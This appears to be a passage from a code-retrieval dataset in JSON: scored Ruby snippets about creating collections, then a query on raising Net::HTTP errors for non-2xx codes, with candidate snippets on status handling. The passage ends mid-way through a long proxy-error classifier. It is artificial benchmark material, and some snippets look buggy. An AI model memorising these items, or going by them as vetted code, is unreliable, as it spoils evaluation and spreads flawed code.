"docid": "88e2eb232dd16e7f37fb8d249f212821",
"score": "0.6144635",
"text": "def find_or_create_resource_for_collection(name)\n find_or_create_resource_for(name.to_s.singularize)\n end",
"title": ""
},
{
"docid": "37316cd241e1a8cd67934dd7b5dc1548",
"score": "0.61194056",
"text": "def create_collection(application_id, campaign_id, body, opts = {})\n data, _status_code, _headers = create_collection_with_http_info(application_id, campaign_id, body, opts)\n data\n end",
"title": ""
},
{
"docid": "0c25dfc033415bed9cc7ec7c0cbc1a00",
"score": "0.6118876",
"text": "def create_child_collection(name)\r\n coll_id = @db_interface.increment_hash(@env_info, Transformer::KeyElementBuilder::ITERATOR_KEY, 1)\r\n result = @db_interface.add_to_hash_ne(@certain_coll_key, name, coll_id)\r\n raise Transformer::MappingException, \"Collection with such a name already exist.\" unless result\r\n #Now we have to save parent id to hash if we are creating nested collection\r\n created_coll_info_key = Transformer::KeyBuilder.collection_info(@env_id, coll_id)\r\n #Child collection now know id of it's parent\r\n info = [Transformer::KeyBuilder::NAME_KEY, name]\r\n #Create <parent_id> only if it has any parent, environment is not a parent\r\n info << Transformer::KeyBuilder::PARENT_ID_KEY << @coll_id if @coll_id\r\n @db_interface.add_to_hash(created_coll_info_key, info, true)\r\n coll_id\r\n end",
"title": ""
},
{
"docid": "f2abd64cedfd212f21fed659205e9441",
"score": "0.61168724",
"text": "def create\n create! do |success, failure|\n success.html { redirect_to collection_path }\n end\n end",
"title": ""
},
{
"docid": "8fc09aca572442e93f35a149135e6838",
"score": "0.60982877",
"text": "def collection_for(source, other_query=nil)\n Collection.new(source, target_model)\n end",
"title": ""
},
{
"docid": "4eac186f9372714ce09fa2f275927532",
"score": "0.6097385",
"text": "def default_collection\n Collection.new(@backend, @name, \"_default\", \"_default\")\n end",
"title": ""
},
{
"docid": "da461e16be3741609420c50cf204d30c",
"score": "0.6092638",
"text": "def create\n @collection = Collection.new(params[:collection])\n\n # scrape each resource URL to add those fields\n @collection.collectionizes.each do |each_collectionize|\n resource_object = Resource.scrape_data(each_collectionize.resource.raw_url)\n\n each_collectionize.resource\n resource_object = Resource.scrape_data(@resource.raw_url)\n each_collectionize.resource.keywords_scraped = resource_object[:keywords_scraped] ? resource_object[:keywords_scraped] : nil\n each_collectionize.resource.description_scraped = resource_object[:description_scraped] ? resource_object[:description_scraped] : nil\n each_collectionize.resource.title_scraped = resource_object[:title_scraped] ? resource_object[:title_scraped] : nil\n each_collectionize.resource.raw_html = resource_object[:raw_html] ? resource_object[:raw_html] : nil\n end\n\n respond_to do |format|\n if @collection.save\n redirect_to @collection, notice: 'Collection was successfully created.'\n else\n render action: \"new\"\n end\n end\n end",
"title": ""
},
{
"docid": "f19eb905a3c4de6af8c54b27ccbcfe4e",
"score": "0.6091123",
"text": "def create\n @user = User.find(params[:user_id])\n \n #@product = Product.find(params[:product_id])\n \n @collection = @user.collections.build(params[:collection])\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to user_path(@user.id), notice: 'Collection was successfully created.' }\n format.json { render json: @collection, status: :created, location: @collection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2318e6ae5496b9cd989b9874436c1f9f",
"score": "0.6080852",
"text": "def create\n @collection = Collection.new(collection_params)\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @collection }\n\n\n else\n format.html { render action: 'new' }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ed7fa3ce69865fcbcdc1a86f55b4aad",
"score": "0.6069127",
"text": "def collection\n klass.collection\n end",
"title": ""
},
{
"docid": "e10dc9f8371b3013730d6b677cfbce92",
"score": "0.6068327",
"text": "def create\n @collection = Collection.new(collection_params)\n\n respond_to do |format|\n action_message_for('new')\n if create_collection\n format.html { redirect_to redirect_target(@collection), flash: @feedback_flash }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b91aa1b2caeef101cb15f0e3c112b9b",
"score": "0.60682505",
"text": "def collection\n @collection ||= database.collection Crocoduck::Store.server_collection\n end",
"title": ""
},
{
"docid": "9459e2a47d16543f19c415ca51885d6b",
"score": "0.6065378",
"text": "def collection\n database[collection_name]\n end",
"title": ""
},
{
"docid": "a7f3427a10bad1784f4fbf75fe9337bf",
"score": "0.6064018",
"text": "def collection\n unless @collection\n @collection = @connection.use(@database_name)[\"sunspot_index_queue_entries\"]\n\n @collection.indexes.create_one(:record_class_name => 1, :record_id => 1)\n @collection.indexes.create_one(:priority => -1, :record_class_name => 1, :run_at => 1, :lock => 1)\n end\n\n @collection\n end",
"title": ""
},
{
"docid": "946e5b95f483c2846576aa32bbd99dea",
"score": "0.60607624",
"text": "def create\n returning connection.post(collection_path, to_xml) do |response|\n self.id = id_from_response(response)\n end\n end",
"title": ""
},
{
"docid": "1795c26981f5fc5a83321d4ca5237e51",
"score": "0.6056408",
"text": "def collection(name)\n Kernel.const_get(\"#{name}Collection\").new(@browser)\n end",
"title": ""
},
{
"docid": "21ae97d35592aa174dd241d28da14d15",
"score": "0.6042929",
"text": "def collection\n @collection.is_a?(Proc) ? @collection.call : @collection\n end",
"title": ""
}
] |
112a1295a6910d36f9927fb81bd50afc
|
Raises exceptions from Net::HTTP for response codes outside of the 200 range or different than the expected response
|
[
{
"docid": "738eaf88b426c9ef84d5b498efb3b972",
"score": "0.0",
"text": "def handle_response(response, expected = nil)\n response.value\n # todo: pick a better exception\n raise \"Expected a #{expected} response\" if expected and expected != response.code.to_i\n response\n end",
"title": ""
}
] |
[
{
"docid": "6b62a14b3b457cdfb8405409548bde40",
"score": "0.77661264",
"text": "def validate_response(response) # :nodoc:\n code = response.code.to_i\n raise HttpError, \"#{code} #{response.msg}\" if code < 200 || code > 299\n end",
"title": ""
},
{
"docid": "c48c52f16b500c7993c8ec4a14b91d49",
"score": "0.7412559",
"text": "def http_error?\n !(200..299).include?(http_code)\n end",
"title": ""
},
{
"docid": "d9e8f9df83703970fa9c7915efa7127c",
"score": "0.7380989",
"text": "def validate_http_status\n return true if @http.code.to_i == 200\n DomainTools::Exceptions::raise_by_code(@http.code)\n end",
"title": ""
},
{
"docid": "995dfbd03c419d8faeaf204f2f3e7a51",
"score": "0.725094",
"text": "def validate_http_response! resp\n\t\tif resp['content-length']\n\t\t\tassert_equal resp['content-length'].to_i, resp.body.to_s.bytesize,\n\t\t\t\t\"Content-length mis-match in reply!\"\n\t\tend\n\n\t\tc = resp.code.to_i\n\n\t\tcase c\n\t\twhen 100, 101, 305, 402, 407, 500..505\n\t\t\tassert false,\n\t\t\t\t\"Nacreon is not supposed to return HTTP status code #{c}.\"\n\t\twhen 200, 202, 203, 300, 400, 403, 404, 406, 408..411, 414..417\n\t\t\t# There's not a lot that is both required and verifiable for these\n\t\t\t# statuses.\n\t\twhen 201\n\t\t\tassert_has_header resp, 'location'\n\t\twhen 204\n\t\t\tassert_empty_body resp\n\t\twhen 205\n\t\t\tassert_empty_body resp\n\t\twhen 206\n\t\t\tassert_has_header resp, 'content-range'\n\t\t\tassert_has_header resp, 'date'\n\t\twhen 301, 302, 307\n\t\t\t# Technically not *required* by the spec, but I feel pretty\n\t\t\t# good about ensuring that these responses have a Location.\n\t\t\tassert_has_header resp, 'location'\n\t\twhen 304\n\t\t\tassert_empty_body resp\n\t\twhen 401\n\t\t\tassert_has_header resp, 'www-authenticate'\n\t\twhen 405\n\t\t\tassert_has_header resp, 'allow'\n\t\telse\n\t\t\tassert false, \"Nacreon returned invalid HTTP/1.1 status code #{c}!\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8aec8868ff92bdec01c28239936807d1",
"score": "0.7193956",
"text": "def client_error?\n (400..499).cover?(code)\n end",
"title": ""
},
{
"docid": "21095becf10cd63659a9cecfca3d55f0",
"score": "0.704049",
"text": "def client_error?\n (400..499).cover?(code)\n end",
"title": ""
},
{
"docid": "f740eae3994458ad9163952b9b440dfd",
"score": "0.7037631",
"text": "def error_code?(status_code)\n !(200...300).include?(status_code)\n end",
"title": ""
},
{
"docid": "992737e7c088ff3e7a4b269ea854ebad",
"score": "0.70297647",
"text": "def is_http_status? code\n (200..206).to_a.concat((300..307).to_a).concat((400..417).to_a) \\\n .concat((500..505).to_a).include? code.to_i\n end",
"title": ""
},
{
"docid": "7ffae2fdc0b02ca3a31cc60416c7a0c7",
"score": "0.69602233",
"text": "def handle_status_code(req)\n case req.code\n when 200..204; return\n when 400; raise ResponseError.new req\n when 401; raise ResponseError.new req\n else raise StandardError\n end\n end",
"title": ""
},
{
"docid": "fabb7137fb10ab3c412688d7c402c89a",
"score": "0.6950049",
"text": "def good_status_code?(status_code)\n status_code.to_i >= 200 && status_code.to_i < 400\n end",
"title": ""
},
{
"docid": "c26849ff60463864a86adb73a4e359a9",
"score": "0.68981266",
"text": "def assert_http_status(curl, status)\n\n # If the status doesn't match, then raise an exception\n if (curl.response_code != status) then\n raise curl.url + ': Expected response of ' + status.to_s + ' but was ' + curl.response_code.to_s\n end\nend",
"title": ""
},
{
"docid": "e3172dee6a39936e57d7a158150770ae",
"score": "0.68978065",
"text": "def bad_request_response(env)\n if head_request?(env)\n [ 400, { \"content-type\" => \"text/plain\", \"content-length\" => \"0\" }, [] ]\n else\n [ 400, { \"content-type\" => \"text/plain\", \"content-length\" => \"11\" }, [ \"Bad Request\" ] ]\n end\n end",
"title": ""
},
{
"docid": "abfa04c2510c59b5bb9fb1240480cdcf",
"score": "0.6850455",
"text": "def is_good_status_code(status_code)\n status_code.to_i >= 200 && status_code.to_i < 400\n end",
"title": ""
},
{
"docid": "c5eed0b7f3049309b443916bbcf1fd8b",
"score": "0.6843784",
"text": "def check_request\n if @req.code.to_i.between?(400, 499)\n raise Exceptions::SlicingDiceHTTPError, \"Client Error \"\\\n \"#{@req.code} (#{@req.message}).\"\n elsif @req.code.to_i.between?(500, 600)\n raise Exceptions::SlicingDiceHTTPError, \"Server Error \"\\\n \"#{@req.code} (#{@req.message}).\"\n else\n true\n end\n end",
"title": ""
},
{
"docid": "f5024afbef2588af398cb78803cea5d8",
"score": "0.68258214",
"text": "def test_dispatch_error_status_code\n Net::HTTP.class_eval do\n def self.get_response(*_args) # rubocop:todo Lint/DuplicateMethods\n DummyResponse.new('503')\n end\n end\n\n properties = {\n 'env' => 'dummyKey',\n 'combination' => 1,\n 'url' => 'https://dev.visualwebsiteoptimizer.com/server-side/track-user', # noqa: E501\n 'ed' => '{\"p\": \"server\"}',\n 'random' => 0.7382938446947298,\n 'ap' => 'server',\n 'u' => '09CD6107E42B51F9BFC3DD97EA900990',\n 'experiment_id' => 229,\n 'sId' => 1_565_949_670,\n 'sdk-v' => '1.0.2',\n 'sdk' => 'python',\n 'account_id' => 60_781\n }\n\n result = @dispatcher.dispatch(properties, {}, 'end_point')\n assert_equal(result, false)\n end",
"title": ""
},
{
"docid": "7c9106bea0bd7f3bd8adee8e419e02fc",
"score": "0.6809976",
"text": "def status_bad_request\n respond_to do |format|\n format.any { head :bad_request }\n end\n end",
"title": ""
},
{
"docid": "4d9b8df37c2d59f5b1e6987a10b41462",
"score": "0.68097275",
"text": "def is_client_error?\n code.to_i >= 400 && code.to_i <= 499\n end",
"title": ""
},
{
"docid": "4a2bdc4d5c97b0221cbe7b9ed700d9e4",
"score": "0.67945206",
"text": "def client_error_status_code\n _undefined\n end",
"title": ""
},
{
"docid": "3ceba185b0b4fb10e789bd6497a2951f",
"score": "0.6791947",
"text": "def valid_http_code_returned?(http_client, url)\n rubygems_valid_response?(http_client, url) || shields_io_valid_response?(http_client, url)\n end",
"title": ""
},
{
"docid": "6a44e611439357bb51271e7010f098aa",
"score": "0.67903686",
"text": "def is_client_error?\n @code.in? 400..499\n end",
"title": ""
},
{
"docid": "164a6998c82ad7db238f1a93697c4cbd",
"score": "0.678313",
"text": "def error_response?(response, _parsed_response)\n !(200..299).cover?(response.code)\n end",
"title": ""
},
{
"docid": "43fff0195c8221bb72960fa408eb8b95",
"score": "0.67706853",
"text": "def client_error?\n 400 <= code && code < 500\n end",
"title": ""
},
{
"docid": "9b33142161df0cc49a1a0b187670cb88",
"score": "0.6767899",
"text": "def raise_on_non_200(resp, expected_code=200)\n if resp.code == '401' && %r{rbac/user-unauthenticated}.match(resp.body)\n obj = JSON.parse(resp.body)\n msg = obj['msg'] || '401 User Unauthenticated Error'\n raise ApiAuthenticationError, msg\n else\n msg = \"Expected #{expected_code} response, got #{resp.code} \"\\\n \"body: #{resp.body}\"\n raise ApiError, msg\n end\n end",
"title": ""
},
{
"docid": "c24a6deee99ec3709c82b86aae6b4e71",
"score": "0.6760489",
"text": "def handle_response(response)\n case response.code.to_i\n when 301, 302, 303, 307\n raise Redirection, response\n when 200...400\n response\n when 400\n raise ResourceInvalid, response\n when 401\n raise UnauthorizedAccess, response\n when 403\n raise ForbiddenAccess, response\n when 404\n raise ResourceNotFound, response\n when 405\n raise MethodNotAllowed, response\n when 409\n raise ResourceConflict, response\n when 410\n raise ResourceGone, response\n when 422\n raise ResourceInvalid, response\n when 401...500\n raise ClientError, response\n when 500...600\n raise ServerError, response\n else\n raise(ConnectionError.new(response, \"Unknown response code: #{response.code}\"))\n end\n end",
"title": ""
},
{
"docid": "48aab503da1681b9663a1f153e5a05c4",
"score": "0.673844",
"text": "def http_valid_status_code?(http, status_codes = [200])\n status_codes = status_codes.is_a?(Array) ? status_codes : [status_codes]\n status_codes.include?(http.response_header.http_status)\n end",
"title": ""
},
{
"docid": "851a98f29539b92ab83bd2b3851d1bc1",
"score": "0.6736411",
"text": "def check_url(path, url)\n res = http_client.get(url, follow_redirect: true)\n return if res.status == 200\n raise(nil) unless res.status.to_s.match(/50\\d|403/)\n\n puts \"::warning file=#{path}:: Unexpected response from #{url} (#{res.status})\"\nrescue StandardError => e\n puts \"::warning file=#{path}:: Unable to reach #{url} #{res.respond_to?('status') ? res.status : nil}\"\n puts e.full_message unless e.instance_of?(TypeError)\n 1\nend",
"title": ""
},
{
"docid": "677440ed6ac554091997243689a67783",
"score": "0.6719785",
"text": "def check_response\n unless (res = get).valid?\n raise BadResponse, \"#{res.code} #{res['Code'].first}\"\n end\n\n res\n end",
"title": ""
},
{
"docid": "ca3b9ecfea8a76e1711853b97eea4a2b",
"score": "0.6673262",
"text": "def error?\n http_status >= 400 && http_status <= 599\n end",
"title": ""
},
{
"docid": "1a43e2868c6574c518db1777e32a4e9d",
"score": "0.66685325",
"text": "def assert_response(expected)\n response.code.to_i.should == Rack::Utils.status_code(expected)\nend",
"title": ""
},
{
"docid": "ab82244f3790e352c59a283494128c73",
"score": "0.6658415",
"text": "def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"title": ""
},
{
"docid": "ab82244f3790e352c59a283494128c73",
"score": "0.6658415",
"text": "def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"title": ""
},
{
"docid": "33620d6b4f205d6ce8ab16026963aa12",
"score": "0.6656017",
"text": "def respond_bad_request; make_response(nil, false, 400, \"Bad Request\") end",
"title": ""
},
{
"docid": "c3d9ecca651c2966f62fc5369cd8bb1b",
"score": "0.66246635",
"text": "def http_error?(code)\n http_status?(:error, code)\n end",
"title": ""
},
{
"docid": "7f98921dbe4433f50b4431fd7750d758",
"score": "0.6624421",
"text": "def server_error_status_code\n _undefined\n end",
"title": ""
},
{
"docid": "3657ea33753f347b5b2bfa961a8bd270",
"score": "0.6618453",
"text": "def bad_request_status\n status_message(400)\n end",
"title": ""
},
{
"docid": "13d46db49b377cfabbe0ab6593ac0bc1",
"score": "0.6602324",
"text": "def check_for_errors\n info = MultiJson.load(self.body).first\n\n if info['result'] && info['result'] != 0\n if info['result'] == 500\n raise Webceo::Api::ServerError.new(self.status.to_i, self.body)\n else\n raise Webceo::Api::ClientError.new(self.status.to_i, self.body)\n end\n end\n end",
"title": ""
},
{
"docid": "6825e29ba1425057a82fbd6d01e453d9",
"score": "0.65955234",
"text": "def status_code; 422; end",
"title": ""
},
{
"docid": "6825e29ba1425057a82fbd6d01e453d9",
"score": "0.65955234",
"text": "def status_code; 422; end",
"title": ""
},
{
"docid": "6825e29ba1425057a82fbd6d01e453d9",
"score": "0.65955234",
"text": "def status_code; 422; end",
"title": ""
},
{
"docid": "6825e29ba1425057a82fbd6d01e453d9",
"score": "0.65955234",
"text": "def status_code; 422; end",
"title": ""
},
{
"docid": "987efb8f325a57ecf5fe971b04716a71",
"score": "0.65934056",
"text": "def server_error?\n (500..599).cover?(code)\n end",
"title": ""
},
{
"docid": "c7e8d60a5371dcd5cb2237ef574cf008",
"score": "0.6592872",
"text": "def client_error?\n (400...500).include?(@status_code)\n end",
"title": ""
},
{
"docid": "ac83a322aec29552858a096a70c01c17",
"score": "0.6586603",
"text": "def check_failure(code)\n assert_response code\n body = JSON.parse(response.body)\n body['error'].should_not == nil\nend",
"title": ""
},
{
"docid": "e9e7583e9b0209ca26b69d46335fbae9",
"score": "0.65625215",
"text": "def error(code=500, body = nil)\n unless code.is_a?(Integer)\n body = code\n code = 500\n end\n\n response.status = code\n response.body = body if body\n halt\n end",
"title": ""
},
{
"docid": "5ff46b78b11a523a8e615c3910237a1b",
"score": "0.65610266",
"text": "def handleHTTPStatus(code)\n case code\n when 200 # Ok\n puts \"HTTP request successful\"\n return true\n when 204\n puts \"HTTP Error: No Content\"\n return false\n when 401\n puts \"HTTP Error: Server rejected authentication.\"\n return false\n else\n puts \"Unhandled HTTP status: #{code}\"\n return false\n end # case code\n end",
"title": ""
},
{
"docid": "0da6c084eb1f664cf3351e18d222899d",
"score": "0.655013",
"text": "def throw(code)\n status(*Http::Status.for_code(code))\n super :halt\n end",
"title": ""
},
{
"docid": "dd036f48fbd0715fdba496fbb3557519",
"score": "0.65289235",
"text": "def client_error?\n @status.between?(400, 499) if @status\n end",
"title": ""
},
{
"docid": "64ce0aaa2789aaccbe4767bd8f5a75e2",
"score": "0.65191925",
"text": "def http_client_error?(code)\n http_status?(:client_error, code)\n end",
"title": ""
},
{
"docid": "de12045414958a91b59722d03ec7d6d4",
"score": "0.6494654",
"text": "def http_err_code\n http_codes[@http_err]\n end",
"title": ""
},
{
"docid": "cb47a98b0ad2c7320e51ee9beec806f2",
"score": "0.6485691",
"text": "def handle_error (url, res)\n puts \"#{url} was not found\" if res.code.to_i == 404\n puts \"#{url} requires authorization\" if res.code.to_i == 401\n puts \"#{url} returns an application error\" if res.code.to_i == 500\nend",
"title": ""
},
{
"docid": "13629c4a1e16b972b1298e2cb061ca89",
"score": "0.6485214",
"text": "def analyse_http_code(response_code)\n case response_code\n when 1 then\n # Failure to use the proxy\n return false\n when 400 .. 403 then\n # Proxy asks for authentication\n return false\n when 407 then\n # Proxy asks for authentication\n return false\n when 444 then\n return response_code\n else\n # If we get a valid return code, we add it to the final list\n return response_code\n end\n end",
"title": ""
},
{
"docid": "db438bce19639ad6d1ed3d8230e7be6e",
"score": "0.64816636",
"text": "def get_http_response_code\n raise 'To be implemented in child classes'\n end",
"title": ""
},
{
"docid": "361804d9e5d409479bb18461b0b040d6",
"score": "0.6480395",
"text": "def ensure_2xx(response)\n if response.code > 299\n raise \"bad response code #{response.code} in response: #{response}\"\n end\n response\n end",
"title": ""
},
{
"docid": "6f1538c58a2a370f34203dcbc80ab616",
"score": "0.6473174",
"text": "def format_response_or_raise_error response\n if response.status / 100 == 2\n response.body\n elsif response.status == 404\n raise Unloq::APIError::NotFoundError.new(response.status, response.body)\n else\n raise Unloq::APIError.new(response.status, response.body)\n end\n end",
"title": ""
},
{
"docid": "1bd2aaccb745b8ec75dc7f02043a2b04",
"score": "0.64718026",
"text": "def handle_response(response)\n case response.code.to_i\n when 200...300\n response\n else\n raise ResponseError.new(response)\n end\n end",
"title": ""
},
{
"docid": "40b7c132cf3b43f99e4e6753a6565cc7",
"score": "0.6467542",
"text": "def failure(response)\n catch_throttling_error(response)\n parsed_response = JSON.parse(response.body.to_s)\n raise RequestError, parsed_response['detail']\n rescue JSON::ParserError\n raise RequestError, response.status\n end",
"title": ""
},
{
"docid": "59d30d4c892ba312ec58e82fd7da8835",
"score": "0.6459756",
"text": "def check_response!\n body[:stat] == 'ok' || fail(ClientError, \"#{ body.inspect }\")\n end",
"title": ""
},
{
"docid": "699671bb961c4c0bbc1146c1cbd2d928",
"score": "0.64536387",
"text": "def stuff_999_response(env, err)\n env.tap do\n _1.reason_phrase = \"#{err.class} #{err.message}\"\n _1.response_body = ''\n _1.response_headers = Faraday::Utils::Headers.new\n _1.status = HTTPDisk::ERROR_STATUS\n end\n Faraday::Response.new(env)\n end",
"title": ""
},
{
"docid": "3bfc5d2923a82f0d0c049761e389cbcc",
"score": "0.6432702",
"text": "def error?\n (400...600).include?(@status_code)\n end",
"title": ""
},
{
"docid": "314e67698179ef9d351ae61802daa38d",
"score": "0.6431928",
"text": "def common_solutions\n if @response.code.to_i == 406\n \"Check the Content-Type and makes sure it's the correct type (usually application/json or application/xml), ensure url has .xml or .json at the end, check 'Accept' header to allow xml or json ('*/*' for anything)\"\n elsif @response.code.to_i == 401\n \"Check your credentials and make sure they are correct and not expired\"\n elsif @response.code.to_i >= 500 && @response.code.to_i < 600\n \"Check the format of your xml or json\"\n end\n end",
"title": ""
},
{
"docid": "378f512108ee5fefa1f657ad3436a0a1",
"score": "0.64280206",
"text": "def foreign_server_failure\n [ 503, {'Content-Type'=>'text/plain', 'Content-Length' => '23'},\n ['Foreign server failure.'] ]\n end",
"title": ""
},
{
"docid": "813613fc52c7f50c0552e2d365f36ab1",
"score": "0.64203364",
"text": "def guess_status(response)\n result = {}\n # response status code returned by php-simple-proxy and php-json-proxy\n if response =~ /\"status\":{\"http_code\":([\\d]+)}/\n result['code'] = $1\n result['message'] = ''\n # generic page titles containing HTTP status\n elsif response =~ />301 Moved</ || response =~ />Document Moved</ || response =~ />Object Moved</ || response =~ />301 Moved Permanently</\n result['code'] = 301\n result['message'] = 'Document Moved'\n elsif response =~ />302 Found</ || response =~ />302 Moved Temporarily</\n result['code'] = 302\n result['message'] = 'Found'\n elsif response =~ />400 Bad Request</\n result['code'] = 400\n result['message'] = 'Bad Request'\n elsif response =~ />401 Unauthorized</\n result['code'] = 401\n result['message'] = 'Unauthorized'\n elsif response =~ />403 Forbidden</\n result['code'] = 403\n result['message'] = 'Forbidden'\n elsif response =~ />404 Not Found</\n result['code'] = 404\n result['message'] = 'Not Found'\n elsif response =~ />The page is not found</\n result['code'] = 404\n result['message'] = 'Not Found'\n elsif response =~ />413 Request Entity Too Large</\n result['code'] = 413\n result['message'] = 'Request Entity Too Large'\n elsif response =~ />500 Internal Server Error</\n result['code'] = 500\n result['message'] = 'Internal Server Error'\n elsif response =~ />503 Service Unavailable</\n result['code'] = 503\n result['message'] = 'Service Unavailable'\n # getaddrinfo() errors\n elsif response =~ /getaddrinfo: /\n if response =~ /getaddrinfo: nodename nor servname provided/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /getaddrinfo: Name or service not known/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n end\n # getnameinfo() errors\n elsif response =~ /getnameinfo failed: /\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # PHP 'failed to open stream' errors\n elsif response =~ /failed to open stream: /\n # HTTP request failed! HTTP/[version] [code] [message]\n if response =~ %r{failed to open stream: HTTP request failed! HTTP\\/(0\\.9|1\\.0|1\\.1) ([\\d]+) }\n result['code'] = $2.to_s\n result['message'] = ''\n if response =~ %r{failed to open stream: HTTP request failed! HTTP/(0\\.9|1\\.0|1\\.1) [\\d]+ ([a-zA-Z ]+)}\n result['message'] = $2.to_s\n end\n # No route to host\n elsif response =~ /failed to open stream: No route to host in/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # Connection refused\n elsif response =~ /failed to open stream: Connection refused in/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # Connection timed out\n elsif response =~ /failed to open stream: Connection timed out/\n result['code'] = 504\n result['message'] = 'Timeout'\n # Success - This likely indicates an SSL/TLS connection failure\n elsif response =~ /failed to open stream: Success in/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n end\n # Java 'java.net' exceptions\n elsif response =~ /java\\.net\\.[^\\s]*Exception: /\n if response =~ /java\\.net\\.ConnectException: No route to host/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /java\\.net\\.ConnectException: Connection refused/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /java\\.net\\.ConnectException: Connection timed out/\n result['code'] = 504\n result['message'] = 'Timeout'\n elsif response =~ /java\\.net\\.UnknownHostException: Invalid hostname/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /java\\.net\\.SocketException: Network is unreachable/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /java\\.net\\.SocketException: Connection reset/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /java\\.net\\.SocketTimeoutException: Connection timed out/\n result['code'] = 504\n result['message'] = 'Timeout'\n end\n # C errno\n elsif response =~ /\\[Errno -?[\\d]{1,5}\\]/\n if response =~ /\\[Errno -2\\] Name or service not known/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 101\\] Network is unreachable/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 104\\] Connection reset by peer/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 110\\] Connection timed out/\n result['code'] = 504\n result['message'] = 'Timeout'\n elsif response =~ /\\[Errno 111\\] Connection refused/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 113\\] No route to host/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 11004\\] getaddrinfo failed/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 10053\\] An established connection was aborted/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 10054\\] An existing connection was forcibly closed/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 10055\\] An operation on a socket could not be performed/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 10060\\] A connection attempt failed/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /\\[Errno 10061\\] No connection could be made/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n end\n # Python urllib errors\n elsif response =~ /HTTPError: HTTP Error \\d+/\n if response =~ /HTTPError: HTTP Error 400: Bad Request/\n result['code'] = 400\n result['message'] = 'Bad Request'\n elsif response =~ /HTTPError: HTTP Error 401: Unauthorized/\n result['code'] = 401\n result['message'] = 'Unauthorized'\n elsif response =~ /HTTPError: HTTP Error 402: Payment Required/\n result['code'] = 402\n result['message'] = 'Payment Required'\n elsif response =~ /HTTPError: HTTP Error 403: Forbidden/\n result['code'] = 403\n result['message'] = 'Forbidden'\n elsif response =~ /HTTPError: HTTP Error 404: Not Found/\n result['code'] = 404\n result['message'] = 'Not Found'\n elsif response =~ /HTTPError: HTTP Error 405: Method Not Allowed/\n result['code'] = 405\n result['message'] = 'Method Not Allowed'\n elsif response =~ /HTTPError: HTTP Error 410: Gone/\n result['code'] = 410\n result['message'] = 'Gone'\n elsif response =~ /HTTPError: HTTP Error 500: Internal Server Error/\n result['code'] = 500\n result['message'] = 'Internal Server Error'\n elsif response =~ /HTTPError: HTTP Error 502: Bad Gateway/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n elsif response =~ /HTTPError: HTTP Error 503: Service Unavailable/\n result['code'] = 503\n result['message'] = 'Service Unavailable'\n elsif response =~ /HTTPError: HTTP Error 504: Gateway Time-?out/\n result['code'] = 504\n result['message'] = 'Timeout'\n end\n # Ruby exceptions\n elsif response =~ /Errno::[A-Z]+/\n # Connection refused\n if response =~ /Errno::ECONNREFUSED/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # No route to host\n elsif response =~ /Errno::EHOSTUNREACH/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # Connection timed out\n elsif response =~ /Errno::ETIMEDOUT/\n result['code'] = 504\n result['message'] = 'Timeout'\n end\n # ASP.NET System.Net.WebClient errors\n elsif response =~ /System\\.Net\\.WebClient/\n # The remote server returned an error: ([code]) [message].\n if response =~ /WebException: The remote server returned an error: \\(([\\d+])\\) /\n result['code'] = $1.to_s\n result['message'] = ''\n if response =~ /WebException: The remote server returned an error: \\(([\\d+])\\) ([a-zA-Z ]+)\\./\n result['message'] = $2.to_s\n end\n # Could not resolve hostname\n elsif response =~ /WebException: The remote name could not be resolved/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # Remote server denied connection (port closed)\n elsif response =~ /WebException: Unable to connect to the remote server/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # This likely indicates a plain-text connection to a HTTPS or non-HTTP service\n elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a receive/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # This likely indicates a HTTPS connection to a plain-text HTTP or non-HTTP service\n elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a send/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # The operation has timed out\n elsif response =~ /WebException: The operation has timed out/\n result['code'] = 504\n result['message'] = 